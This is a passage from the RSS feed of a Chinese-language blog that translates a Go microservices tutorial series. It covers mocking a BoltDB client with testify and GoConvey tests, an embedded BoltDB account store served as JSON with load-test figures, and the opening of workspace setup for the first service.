&lt;p&gt;我们上面创建的测试不需要模拟任何东西，因为实际调用不会到达我们在&lt;a href=&quot;https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part3/&quot;&gt;第 3 部分&lt;/a&gt;中创建的依赖于 DBClient 的 GetAccount 函数。对于真正想要返回一些数据的路径测试，我们需要以某种方式来模拟我们用来访问 BoltDB 的客户端。有很多在 Go 中进行模拟的策略。我将使用我最喜欢的包 &lt;a href=&quot;https://github.com/stretchr/testify#mock-package&quot;&gt;stretchr/testify/mock&lt;/a&gt; 来展示。&lt;/p&gt;
&lt;p&gt;在 &lt;em&gt;/dbclient&lt;/em&gt; 文件夹中，创建一个名为 &lt;em&gt;mockclient.go&lt;/em&gt; 的新文件，该文件将实现我们的 &lt;a href=&quot;https://github.com/callistaenterprise/goblog/blob/P4/accountservice/dbclient/boltclient.go#L14&quot;&gt;IBoltClient&lt;/a&gt; 接口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package dbclient

import (
        &quot;github.com/stretchr/testify/mock&quot;
        &quot;github.com/callistaenterprise/goblog/accountservice/model&quot;
)

// MockBoltClient is a mock implementation of a datastore client for testing purposes.
// Instead of the bolt.DB pointer, we&apos;re just putting a generic mock object from
// strechr/testify
type MockBoltClient struct {
        mock.Mock
}

// From here, we&apos;ll declare three functions that makes our MockBoltClient fulfill the interface IBoltClient that we declared in part 3.
func (m *MockBoltClient) QueryAccount(accountId string) (model.Account, error) {
        args := m.Mock.Called(accountId)
        return args.Get(0).(model.Account), args.Error(1)
}

func (m *MockBoltClient) OpenBoltDb() {
        // Does nothing
}

func (m *MockBoltClient) Seed() {
        // Does nothing
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MockBoltClient 现在作为我们定制的模拟正常工作。如上，此代码隐式实现了 IBoltClient 接口，因为 MockBoltClient 结构具有附加的方法，这些方法与 IBoltClient 接口声明的方法签名相同。&lt;/p&gt;
&lt;p&gt;如果您不喜欢为模拟程序编写样板代码，建议您研究一下 &lt;a href=&quot;https://github.com/vektra/mockery&quot;&gt;Mockery&lt;/a&gt;，它可以为任何 Go 接口生成样板代码。&lt;/p&gt;
&lt;p&gt;QueryAccount 函数的主体可能看起来有点奇怪，但这其实是 strechr/testify 生成的，我们可以控制它的生成代码。&lt;/p&gt;
&lt;h3&gt;编写模拟程序&lt;/h3&gt;
&lt;p&gt;让我们在 &lt;em&gt;handlers_test.go&lt;/em&gt; 中创建另一个测试函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestGetAccount(t *testing.T) {
        // Create a mock instance that implements the IBoltClient interface
        mockRepo := &amp;amp;dbclient.MockBoltClient{}

        // Declare two mock behaviours. For &quot;123&quot; as input, return a proper Account struct and nil as error.
        // For &quot;456&quot; as input, return an empty Account object and a real error.
        mockRepo.On(&quot;QueryAccount&quot;, &quot;123&quot;).Return(model.Account{Id:&quot;123&quot;, Name:&quot;Person_123&quot;}, nil)
        mockRepo.On(&quot;QueryAccount&quot;, &quot;456&quot;).Return(model.Account{}, fmt.Errorf(&quot;Some error&quot;))
        
        // Finally, assign mockRepo to the DBClient field (it&apos;s in _handlers.go_, e.g. in the same package)
        DBClient = mockRepo
        ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，将上面的 ... 省略部分替换为另一个 GoConvey 测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Convey(&quot;Given a HTTP request for /accounts/123&quot;, t, func() {
        req := httptest.NewRequest(&quot;GET&quot;, &quot;/accounts/123&quot;, nil)
        resp := httptest.NewRecorder()

        Convey(&quot;When the request is handled by the Router&quot;, func() {
                NewRouter().ServeHTTP(resp, req)

                Convey(&quot;Then the response should be a 200&quot;, func() {
                        So(resp.Code, ShouldEqual, 200)

                        account := model.Account{}
                        json.Unmarshal(resp.Body.Bytes(), &amp;amp;account)
                        So(account.Id, ShouldEqual, &quot;123&quot;)
                        So(account.Name, ShouldEqual, &quot;Person_123&quot;)
                })
        })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该测试对模拟程序已知的路径 &lt;em&gt;/accounts/123&lt;/em&gt; 发出请求。在 When 代码块中，我们断言HTTP 状态，解码返回的 Account 结构，并断言字段与我们要求模拟返回的内容匹配。&lt;/p&gt;
&lt;p&gt;我喜欢 GoConvey 和 Given-When-Then 编写测试的方式的原因是：它们非常易于阅读并且结构良好。&lt;/p&gt;
&lt;p&gt;我们还可以添加另一个该受批评的路径，请求 &lt;em&gt;/accounts/456&lt;/em&gt; 并断言返回 HTTP 404：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Convey(&quot;Given a HTTP request for /accounts/456&quot;, t, func() {
        req := httptest.NewRequest(&quot;GET&quot;, &quot;/accounts/456&quot;, nil)
        resp := httptest.NewRecorder()

        Convey(&quot;When the request is handled by the Router&quot;, func() {
                NewRouter().ServeHTTP(resp, req)

                Convey(&quot;Then the response should be a 404&quot;, func() {
                        So(resp.Code, ShouldEqual, 404)
                })
        })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次运行我们的测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go test ./...
?   	github.com/callistaenterprise/goblog/accountservice	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/dbclient	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/model	[no test files]
ok  	github.com/callistaenterprise/goblog/accountservice/service	0.026s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全部通过！GoConvey 实际上有一个&lt;a href=&quot;http://goconvey.co/&quot;&gt;交互式 GUI&lt;/a&gt;，每次保存文件时，它都可以执行所有测试。我不会详细介绍它，但是它的界面看起来像这样，并提供自动代码覆盖率报告之类的功能：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;其他类型的测试&lt;/h2&gt;
&lt;p&gt;这些 GoConvey 测试是单元测试，尽管并不是每个人都以 BDD-style 编写它们。Golang 还有许多其他测试框架，使用您喜欢的搜索引擎进行搜索可能会给您许多有趣的选择。&lt;/p&gt;
&lt;p&gt;如果我们以&lt;a href=&quot;https://martinfowler.com/bliki/TestPyramid.html&quot;&gt;测试金字塔&lt;/a&gt;为准则，那么我们接下来就要编写&lt;a href=&quot;https://en.wikipedia.org/wiki/Integration_testing&quot;&gt;集成测试&lt;/a&gt;，最后再使用 cucumber 之类的工具来进行验收测试。目前来说这超纲了，但是我们希望稍后再返回讨论有关集成测试的主题，后面我们可以在测试代码中启动一个真正的 BoltDB，也许可以通过使用 Go Docker Remote API 和一个预先定义好的 BoltDB 镜像来实现它。&lt;/p&gt;
&lt;p&gt;集成测试的另一种方法是：自动化、Docker 化微服务环境的部署。请参考我去年写的&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2016/05/05/testing-microservices-with-golang/&quot;&gt;博客文章&lt;/a&gt;。其中，我编写了一个小的 Go 程序来启动 .yaml 配置文件中规定的所有微服务，包括支持服务，然后对这些服务执行一些 HTTP 调用以确保部署是正确的。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;在这一部分中，我们使用第三方的 &lt;em&gt;GoConvey&lt;/em&gt; 和 &lt;em&gt;Stretcher/Testify/Mock&lt;/em&gt; 包编写了我们的第一个单元测试。我们将在&lt;a href=&quot;https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part1/&quot;&gt;博客系列&lt;/a&gt;的后续部分中编写更多测试。&lt;/p&gt;
&lt;p&gt;在接下来的部分，是时候使用我们心心念念的 Docker Swarm 来启动、运行和部署微服务了。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>[译]用 Go 语言编写一个微服务博客 — 第三部分 — 嵌入数据库并提供 JSON 服务</title><link>https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part3/</link><guid isPermaLink="true">https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part3/</guid><description>介绍了如何嵌入数据库并提供 JSON 服务。</description><pubDate>Tue, 14 Mar 2017 03:20:15 GMT</pubDate><content:encoded>&lt;p&gt;原文链接：&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2017/02/27/go-blog-series-part3/&quot;&gt;Go Microservices, part 3 - embedded database and JSON&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在第 3 部分中，我们将使我们的 Accountservice 做一些有用的事情。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;声明一个 Account 结构体。&lt;/li&gt;
&lt;li&gt;嵌入一​​个简单的键值存储，这样我们就可以在其中存储 Account 结构体。&lt;/li&gt;
&lt;li&gt;将结构体序列化为 JSON，并通过我们的 /accounts/{accountId} HTTP 服务提供服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;p&gt;和本博客系列的所有后续部分一样，您可以通过克隆源代码（请参阅&lt;a href=&quot;https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part2&quot;&gt;第 2 部分&lt;/a&gt;）并切换到 P3 分支来获得该部分的完整代码，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout P3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;声明一个账户结构体&lt;/h3&gt;
&lt;p&gt;有关 Go 结构体的更详细介绍，请查看&lt;a href=&quot;https://www.golang-book.com/books/intro/9&quot;&gt;这个指南&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;在我们的项目中，在 /accountservice 下创建一个名为 &lt;em&gt;model&lt;/em&gt; 的文件夹。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir model
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在 &lt;em&gt;model&lt;/em&gt; 文件夹中创建一个名为 &lt;em&gt;account.go&lt;/em&gt; 的文件，其内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package model

type Account struct {
        Id string `json:&quot;id&quot;`
        Name string  `json:&quot;name&quot;`
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码声明了我们的 &lt;em&gt;Account&lt;/em&gt; 抽象，它基本上就是一个 id 和一个 name。变量名第一个字母的大小写表示作用域（大写表示包外可见，小写表示包外不可见）。我们还使用标准库的 json.Marshal 函数和标签来表示 Go 应如何序列化每个字段。&lt;/p&gt;
&lt;h4&gt;嵌入键值存储&lt;/h4&gt;
&lt;p&gt;为此，我们将使用 &lt;a href=&quot;https://github.com/boltdb/bolt&quot;&gt;BoltDB&lt;/a&gt; 键值存储数据库。它简单，快速且易于使用。我们需要在声明使用依赖项之前使用 &lt;em&gt;go get&lt;/em&gt; 来下载依赖项：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go get github.com/boltdb/bolt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，在 &lt;em&gt;/goblog/accountservice&lt;/em&gt; 文件夹中，创建一个名为 dbclient 的文件夹和一个名为 &lt;em&gt;boltclient.go&lt;/em&gt; 的文件。为了使以后的模拟测试更加容易，我们先声明一个接口，该接口定义了我们需要实现的函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package dbclient

import (
        &quot;github.com/callistaenterprise/goblog/accountservice/model&quot;
)

type IBoltClient interface {
        OpenBoltDb()
        QueryAccount(accountId string) (model.Account, error)
        Seed()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在同一文件中，我们将提供此接口的实现。首先声明一个结构体，该结构体封装了一个指向 bolt.DB 实例的指针。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Real implementation
type BoltClient struct {
        boltDB *bolt.DB
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是 &lt;em&gt;OpenBoltDb()&lt;/em&gt; 的实现。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (bc *BoltClient) OpenBoltDb() {
        var err error
        bc.boltDB, err = bolt.Open(&quot;accounts.db&quot;, 0600, nil)
        if err != nil {
                log.Fatal(err)
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将函数绑定到结构体上的 Go 语法可能会有些奇怪。现在，我们的结构体隐式实现了三种方法之一。&lt;/p&gt;
&lt;p&gt;我们将在某个地方需要这个 bolt client 的实例。让我们在 &lt;em&gt;/goblog/accountservice/service/handlers.go&lt;/em&gt; 中将其放在要被使用的地方。创建该文件并添加结构体实例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package service

import (
        &quot;github.com/callistaenterprise/goblog/accountservice/dbclient&quot;
)

var DBClient dbclient.IBoltClient
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新 &lt;em&gt;main.go&lt;/em&gt;，以便它在启动时打开数据库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
        fmt.Printf(&quot;Starting %v\n&quot;, appName)
        initializeBoltClient()                 // NEW
        service.StartWebServer(&quot;6767&quot;)
}

// Creates instance and calls the OpenBoltDb and Seed funcs
func initializeBoltClient() {
        service.DBClient = &amp;amp;dbclient.BoltClient{}
        service.DBClient.OpenBoltDb()
        service.DBClient.Seed()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，我们的微服务应该可以在启动时创建一个数据库。但是，在运行之前，我们将添加一段代码，这些代码将在启动时为我们添加一些假帐户数据。&lt;/p&gt;
&lt;h3&gt;启动时添加一些假账户数据&lt;/h3&gt;
&lt;p&gt;再次打开 &lt;em&gt;boltclient.go&lt;/em&gt; 并添加以下函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Start seeding accounts
func (bc *BoltClient) Seed() {
        initializeBucket()
        seedAccounts()
}

// Creates an &quot;AccountBucket&quot; in our BoltDB. It will overwrite any existing bucket of the same name.
func (bc *BoltClient) initializeBucket() {
        bc.boltDB.Update(func(tx *bolt.Tx) error {
                _, err := tx.CreateBucket([]byte(&quot;AccountBucket&quot;))
                if err != nil {
                        return fmt.Errorf(&quot;create bucket failed: %s&quot;, err)
                }
                return nil
        })
}


// Seed (n) make-believe account objects into the AcountBucket bucket.
func (bc *BoltClient) seedAccounts() {

        total := 100
        for i := 0; i &amp;lt; total; i++ {

                // Generate a key 10000 or larger
                key := strconv.Itoa(10000 + i)

                // Create an instance of our Account struct
                acc := model.Account{
                        Id: key,
                        Name: &quot;Person_&quot; + strconv.Itoa(i),
                }

                // Serialize the struct to JSON
                jsonBytes, _ := json.Marshal(acc)

                // Write the data to the AccountBucket
                bc.boltDB.Update(func(tx *bolt.Tx) error {
                        b := tx.Bucket([]byte(&quot;AccountBucket&quot;))
                        err := b.Put([]byte(key), jsonBytes)
                        return err
                })
        }
        fmt.Printf(&quot;Seeded %v fake accounts...\n&quot;, total)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有关 Bolt API 的更多信息以及 Update 方法如何接收我们的函数的详细信息，请参阅 &lt;a href=&quot;https://github.com/boltdb/bolt#using-buckets&quot;&gt;BoltDB 文档&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;目前为止，我们已经完成了跟 BoltDB 有关的部分。让我们再次编译并运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go run *.go
Starting accountservice
Seeded 100 fake accounts...
2017/01/31 16:30:59 Starting HTTP service at 6767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好！可以使用 Ctrl+C 停止运行。&lt;/p&gt;
&lt;h3&gt;添加一个查询方法&lt;/h3&gt;
&lt;p&gt;现在，我们通过向 &lt;em&gt;boltclient.go&lt;/em&gt; 添加 Query 方法来完成我们的数据库 API：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (bc *BoltClient) QueryAccount(accountId string) (model.Account, error) {
        // Allocate an empty Account instance we&apos;ll let json.Unmarhal populate for us in a bit.
        account := model.Account{}

        // Read an object from the bucket using boltDB.View
        err := bc.boltDB.View(func(tx *bolt.Tx) error {
                // Read the bucket from the DB
                b := tx.Bucket([]byte(&quot;AccountBucket&quot;))

                // Read the value identified by our accountId supplied as []byte
                accountBytes := b.Get([]byte(accountId))
                if accountBytes == nil {
                        return fmt.Errorf(&quot;No account found for &quot; + accountId)
                }
                // Unmarshal the returned bytes into the account struct we created at
                // the top of the function
                json.Unmarshal(accountBytes, &amp;amp;account)

                // Return nil to indicate nothing went wrong, e.g no error
                return nil
        })
        // If there were an error, return the error
        if err != nil {
                return model.Account{}, err
        }
        // Return the Account struct and nil as error.
        return account, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果代码不够清晰，可以理解一些注释。该函数将使用提供的 &lt;em&gt;accountId&lt;/em&gt; 参数查询 BoltDB，并将返回 Account 结构体或一个 error。&lt;/p&gt;
&lt;h3&gt;通过 HTTP 提供账户服务&lt;/h3&gt;
&lt;p&gt;让我们修复在 &lt;em&gt;/service/routes.go&lt;/em&gt; 中声明的 &lt;em&gt;/accounts/{accountId}&lt;/em&gt; 路由，以便它正确返回刚才我们建立的假数据 Account 结构体。打开 routes.go 并用我们稍后将创建的函数 &lt;em&gt;GetAccount&lt;/em&gt; 替换原来的 &lt;em&gt;func（w http.ResponseWriter，r * http.Request）{&lt;/em&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Route{
        &quot;GetAccount&quot;,             // Name
        &quot;GET&quot;,                    // HTTP method
        &quot;/accounts/{accountId}&quot;,  // Route pattern
        GetAccount,
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来使用符合 HTTP handler 函数签名的 &lt;em&gt;GetAccount&lt;/em&gt; 函数来更新 &lt;em&gt;/service/handlers.go&lt;/em&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var DBClient dbclient.IBoltClient

func GetAccount(w http.ResponseWriter, r *http.Request) {

	// Read the &apos;accountId&apos; path parameter from the mux map
	var accountId = mux.Vars(r)[&quot;accountId&quot;]

        // Read the account struct BoltDB
	account, err := DBClient.QueryAccount(accountId)

        // If err, return a 404
	if err != nil {
		w.WriteHeader(http.StatusNotFound)
		return
	}

        // If found, marshal into JSON, write headers and content
	data, _ := json.Marshal(account)
	w.Header().Set(&quot;Content-Type&quot;, &quot;application/json&quot;)
	w.Header().Set(&quot;Content-Length&quot;, strconv.Itoa(len(data)))
	w.WriteHeader(http.StatusOK)
	w.Write(data)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GetAccount 函数符合 handler 函数签名，所以当 Gorilla 检测到对 &lt;em&gt;/accounts/{accountId}&lt;/em&gt; 的调用时，它会把请求路由到 GetAccount 函数中。让我们来运行它看看！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go run *.go
Starting accountservice
Seeded 100 fake accounts...
2017/01/31 16:30:59 Starting HTTP service at 6767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 curl 调用该 API。注意，我们前面创建了 100 个 ID 从 10000 开始的假帐户。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; curl http://localhost:6767/accounts/10000
{&quot;id&quot;:&quot;10000&quot;,&quot;name&quot;:&quot;Person_0&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好！现在，我们的微服务真正地通过 HTTP 从数据库中提供 JSON 数据。&lt;/p&gt;
&lt;h2&gt;运行时和性能表现&lt;/h2&gt;
&lt;p&gt;让我们检查与&lt;a href=&quot;https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part2/&quot;&gt;第 2 部分&lt;/a&gt;中相同的内存和 CPU 使用率指标：场景分别是负载测试前、负载测试中和负载测试后。&lt;/p&gt;
&lt;h3&gt;启动后的内存使用情况&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;2.1 mb，还是很不错！添加嵌入式 BoltDB 和一些其他代码来处理路由，使得我们的初始内存占用增加了 300kb。让我们以 1K req/s 的速度来运行 Gatling 测试。现在，我们返回的是从 BoltDB 获取的真实的 Account 对象，而且该对象已序列化为 JSON：&lt;/p&gt;
&lt;h3&gt;负载测试后的内存使用情况&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;31.2 mb 的内存占用。与第 2 部分中的简单服务相比，使用嵌入式数据库并达到 1K req/s 的额外开销确实很小。&lt;/p&gt;
&lt;h3&gt;性能和 CPU 占用率&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;1K req/s 约占单个核心的 10%。BoltDB 和 JSON 序列化的开销不是很大，很好！顺便说一下：最上面的 Java 进程是我们的 Gatling 测试，实际上它使用的 CPU 资源约为我们服务的 3 倍。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;平均响应时间仍小于一毫秒。&lt;/p&gt;
&lt;p&gt;也许我们应该在更重的负载下进行测试，比如说 4K req/s？（注意，可能需要在操作系统级别上增加可用文件句柄的数量）：&lt;/p&gt;
&lt;h3&gt;内存使用率为 4K req/s&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;约 120 mb。几乎正好增加了 4 倍。几乎可以肯定，使用 n/o 并发请求导致的内存增加是由于 Go 运行时，或者是 Gorilla 随着负载提高而增加的用于为请求提供服务的 goroutine。&lt;/p&gt;
&lt;h3&gt;4K req/s 的性能&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在 4K req/s 下，CPU 使用率保持在 30% 以下。此时，即便在配备 16 GB RAM/Core i7 的笔记本电脑上运行，瓶颈也可能会出现在 IO 或文件句柄，而不是 CPU。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;现在，平均等待时间终于提升为 1 ms，其中 95% 的请求保持在 3 ms 以下。虽然我们确实看到延迟在 4K req/s 时受到冲击，但是我个人认为带有嵌入式 BoltDB 的小型服务 Accountservice 的性能确实很好。&lt;/p&gt;
&lt;h2&gt;与其他平台的比较&lt;/h2&gt;
&lt;p&gt;其他人可能会写一些有趣的博客文章，关于将该 accountservice 在 JVM、NodeJS 或 CLR 等上实现，并对其进行基准测试。&lt;/p&gt;
&lt;p&gt;我在 2015 年底对此进行了一些简单的不够准确的基准测试（使用 Gatling 测试套件），比较了分别在 Go 1.5、Java 8 Spring Boot 和 NodeJS 中实现的 HTTP/JSON 服务 + MongoDB 读取。在该特殊情况下，基于 JVM 和 Go 的解决方案都可以很好地扩展，但 Go 与JVM 的延迟相比略有优势。NodeJS 的性能与上述方案相似，直到单个内核上的 CPU 利用率达到 100%，这时延迟就开始出现下降了。&lt;/p&gt;
&lt;p&gt;请不要将上述基准测试当作某种依据，因为这只是我自己做的一个快速而不专业的测试。&lt;/p&gt;
&lt;p&gt;因此，尽管我已经展示了使用 Go 1.7 编写的 accountservice 在 4K req/s 下可观的性能数据，但其他平台也有可能达到这个性能，不过我也怀疑它们的内存使用是否比 Go 少。也许您的体验和我不同。&lt;/p&gt;
&lt;h2&gt;后记&lt;/h2&gt;
&lt;p&gt;在本博客系列的下一部分中，我们将看看如何使用 GoConvey 并模拟 BoltDB 客户端来对服务进行单元测试。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>[译]用 Go 语言编写一个微服务博客 — 第二部分 — 构建我们的第一个微服务</title><link>https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part2/</link><guid isPermaLink="true">https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part2/</guid><description>介绍了如何构建我们的第一个微服务。</description><pubDate>Tue, 07 Mar 2017 09:30:05 GMT</pubDate><content:encoded>&lt;p&gt;原文链接：&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2017/02/21/go-blog-series-part2/&quot;&gt;Go microservices, part 2 - building our first service&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在本博客系列的第二部分，我们将：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;设置我们的 Go 工作区&lt;/li&gt;
&lt;li&gt;构建我们的第一个微服务&lt;/li&gt;
&lt;li&gt;使用 Gorilla Web Toolkit，通过 HTTP 提供 JSON 服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了专注于 Go 的基本概念，我们稍后再将其部署到 Docker Swarm。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;序言&lt;/h2&gt;
&lt;p&gt;尽管通过 HTTP 提供 JSON 服务不是唯一选择，但在本博客系列中，我们将专注于 HTTP 和 JSON。&lt;/p&gt;
&lt;p&gt;当外部的消费者服务是另一个系统时，对于服务间通信和外部通信，使用 RPC 工具和二进制消息格式，如：&lt;a href=&quot;https://developers.google.com/protocol-buffers/&quot;&gt;Protocol Buffers&lt;/a&gt;，是一个非常有趣的选择。&lt;/p&gt;
&lt;p&gt;Go 有内置的 RPC 支持，而且 gRPC 也绝对值得使用。但是，现在我们先专注于内置的 &lt;a href=&quot;https://golang.org/pkg/net/http/&quot;&gt;http 包&lt;/a&gt;和 &lt;a href=&quot;http://www.gorillatoolkit.org/&quot;&gt;Gorilla Web Toolkit&lt;/a&gt; 提供的 HTTP 服务。&lt;/p&gt;
&lt;p&gt;另一个需要考虑的方面是，很多实用的框架都依赖于 HTTP 头在端点之间传递的状态。&lt;/p&gt;
&lt;p&gt;我们将在后面的博客文章中看到的示例是：在 HTTP 头中传递相关 ID 和 OAuth 数据。&lt;/p&gt;
&lt;p&gt;尽管其它协议一定支持类似的机制，但很多框架都是在考虑 HTTP 协议的情况下构建的，我更希望我们的实现越直观越好。&lt;/p&gt;
&lt;h2&gt;设置 Go 工作区&lt;/h2&gt;
&lt;p&gt;如果您已经是一位经验丰富的 Go 开发人员，可以随时跳过本节。以我的拙见，Go 工作区的结构需要一段时间才能习惯。&lt;/p&gt;
&lt;p&gt;我通常将项目根目录当作工作区根目录，但关于如何正确创建工作区以使 Go 编译器可以找到源代码和依赖关系的规则有点不合理。将您的项目放在 src 文件夹下，如：src/project-name 然后使用类似 project-name 的路径来使用。&lt;/p&gt;
&lt;p&gt;我强烈建议您在开始之前先阅读&lt;a href=&quot;https://golang.org/doc/code.html&quot;&gt;官方指南&lt;/a&gt;和&lt;a href=&quot;https://astaxie.gitbooks.io/build-web-application-with-golang/content/en/01.2.html&quot;&gt;这篇文章&lt;/a&gt;。&lt;/p&gt;
&lt;h3&gt;安装 SDK&lt;/h3&gt;
&lt;p&gt;在编写第一行代码（或检出完整源代码）之前，我们需要安装 Go SDK。我建议遵循&lt;a href=&quot;https://golang.org/doc/install&quot;&gt;官方指南&lt;/a&gt;，它足够直观。&lt;/p&gt;
&lt;h3&gt;设置开发环境&lt;/h3&gt;
&lt;p&gt;在本博客系列中，我们将使用刚安装的内置 Go SDK 工具来构建和运行，以及遵循惯用的方式来设置 Go 工作区。&lt;/p&gt;
&lt;h4&gt;1. 在工作区创建一个根文件夹&lt;/h4&gt;
&lt;p&gt;所有命令均基于 OS X 或 Linux 开发环境。如果您使用的是 Windows，请酌情修改。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir ~/goworkspace
cd goworkspace
export GOPATH=`pwd` // 译者注：pwd 表示使用当前目录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在以上命令中，我们创建了一个根文件夹，然后设置环境变量 GOPATH 为该路径。&lt;/p&gt;
&lt;p&gt;这是我们工作区的根目录，在此工作区中，我们编写的所有 Go 源代码或将要使用的第三方包都将出现在这里。&lt;/p&gt;
&lt;p&gt;我建议将 GOPATH 添加到您的 .bash_profile 或类似文件中，这样就不用在每次打开新的终端窗口后都需要重新设置。&lt;/p&gt;
&lt;h4&gt;2. 为我们的第一个项目创建文件夹和文件&lt;/h4&gt;
&lt;p&gt;假设我们位于工作空间的根目录下（与 GOPATH 环境变量对应的值相同），请执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p src/github.com/callistaenterprise
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果您想跟着我来编写代码，请执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd src/github.com/callistaenterprise
mkdir -p goblog/accountservice
cd goblog/accountservice
touch main.go
mkdir service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者，您可以 clone 包含示例代码的 Git 仓库，然后切换到 P2 分支。在上面创建的 &lt;em&gt;src/github.com/callistaenterprise&lt;/em&gt; 目录下，执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/callistaenterprise/goblog.git
cd goblog
git checkout P2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：&lt;em&gt;$GOPATH/src/github.com/callistaenterprise/goblog&lt;/em&gt; 是我们项目的根目录，也是 GitHub 上存储的内容。&lt;/p&gt;
&lt;p&gt;现在，我们可以根据这些文件结构来开始了。&lt;/p&gt;
&lt;p&gt;在你的 Go IDE 中打开 main.go。&lt;/p&gt;
&lt;p&gt;在编写该博客系列的代码时，我用的是带 Go 插件的 IntelliJ IDEA。&lt;/p&gt;
&lt;p&gt;其它流行的选择似乎是 &lt;a href=&quot;https://marketplace.eclipse.org/category/free-tagging/golang&quot;&gt;Eclipse&lt;/a&gt;、&lt;a href=&quot;https://atom.io/packages/go-plus&quot;&gt;Atom&lt;/a&gt;、&lt;a href=&quot;https://github.com/DisposaBoy/GoSublime&quot;&gt;Sublime&lt;/a&gt;、&lt;a href=&quot;https://github.com/fatih/vim-go&quot;&gt;vim&lt;/a&gt; 和 JetBrains 公司的新型商用 IDE：&lt;a href=&quot;https://www.jetbrains.com/go/&quot;&gt;GoLand&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;创建服务 - main.go&lt;/h2&gt;
&lt;p&gt;main 函数在 Go 中正如您想的那样，是整个 Go 程序的入口点。&lt;/p&gt;
&lt;p&gt;让我们创建足够多的代码来让其可以构建和运行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
